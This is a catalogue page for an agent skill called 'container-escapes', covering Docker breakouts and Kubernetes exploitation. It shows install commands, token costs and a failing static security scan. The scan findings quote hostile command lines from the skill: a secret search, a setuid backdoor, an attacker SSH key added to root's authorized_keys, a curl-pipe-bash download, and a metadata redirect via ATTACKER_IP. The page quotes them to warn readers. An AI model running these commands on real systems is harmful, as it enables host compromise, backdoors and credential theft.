container-escapes

container-escapes is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 15 tokens per session (9,898 once invoked), scanned F, original, GPL-3.0.

Security guidance and tools for escaping containers, breaking out of Docker, and exploiting Kubernetes environments.

In plain words
What is it for?
Use it to study or test container escapes, Docker breakouts, and Kubernetes exploitation.
Why use it?
It supports work involving security weaknesses where code or processes may cross container boundaries.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/blacklanternsecurity/red-run/container-escapes
Any agent
npx skills add blacklanternsecurity/red-run --skill container-escapes
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-escapes

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/container-escapes.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/container-escapes)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/container-escapes"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/container-escapes.svg" alt="Measured on agentmods" height="20"></a>
Per session 15 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 9,898 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 7 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00015 $0.09898
Opus 5 $0.00008 $0.04949
Sonnet 5 $0.00003 $0.01980
Haiku 4.5 $0.00002 $0.00990

Measured 4d ago against content hash dff75fde7dc8, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade F, and why

container-escapes scanned grade F with 7 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# Extract all secrets

Enumerates the file system for secretshighData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "*.key" -o -name "*.pem" -o -name "*.cert" -o -name "*token*" \

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

chmod u+s /mnt/host/tmp/.backdoor

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-ed25519 AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

ip route add 169.254.169.254 via ATTACKER_IP # Redirect metadata service

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl (for API interaction)
skills/network/container-escapes/SKILL.md · 1,116 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 1,116 lines · 15 tokens per session scan F dff75fde7dc8

Subscribe to this mod's changes

container-escapes is a skill published in the GitHub repository blacklanternsecurity/red-run (266 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 15 tokens to every session and 9,898 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it F with 7 findings (harvests environment variables, enumerates the file system for secrets, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

docker-container-escape

Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…

ShulkwiSEC/bb-huge · 65 tokens

docker-container-escape

Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…

akashrpatil/awesome-offensive-security-skills · 65 tokens

docker-privesc

Escape Docker containers to host root via 5 techniques.

uphiago/recon-skills · 16 tokens

detecting-container-escape-with-falco-rules

Detect container escape attempts in real-time using Falco runtime security rules that monitor syscalls, file access, and privilege escalation.

xalgorix/xalgorix · 37 tokens

docker-daemon-privesc

Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.

ShulkwiSEC/bb-huge · 50 tokens

docker-daemon-privesc

Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.

akashrpatil/awesome-offensive-security-skills · 50 tokens